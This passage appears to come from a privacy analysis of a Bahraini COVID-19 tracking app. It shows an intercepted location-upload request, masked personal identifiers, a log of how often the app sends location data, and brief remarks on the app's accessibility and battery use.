Host: apps.bahrain.bh
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.11

{"location":{"event":"motionchange","is_moving":false,"uuid":"c68c095c-0058-4bb7-91db-36bca8892e9c","timestamp":"2020-06-02T23:08:48.000Z","odometer":0,"coords":{"latitude":26.164627075195312,"longitude":50.62568664550781,"accuracy":100,"speed":0,"heading":0,"altitude":170},"activity":{"type":"still","confidence":100},"battery":{"is_charging":true,"level":1},"extras":{}},"userDevice":{"userType":"passport","userId":"12AAXXXXXXXX","deviceId":"707af21c623b95bc","mobileNumber":"+447XXXXXXXXX"}}

Note: The value of the userId parameter is the passport number.

On network proxy activity table, we can see how regularly the user’s location is sent to the backend server:

URL Date
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:27:26 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:27:02 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:26:02 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:25:02 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:24:32 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:23:00 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:21:44 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:16:15 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:15:08 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:14:32 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:12:53 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:11:49 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:10:37 GMT

Accessibility

The application provides good accessibility features, by supporting multiple languages, including english, urdu and farsi.

alt text

The application can be used by everyone, there are no restrictions on the phone number of ID.

The application is also small (less than 11 Mb), but is very resource hungry due to the need to continuously stream the phone's GPS coordinates.

alt text alt text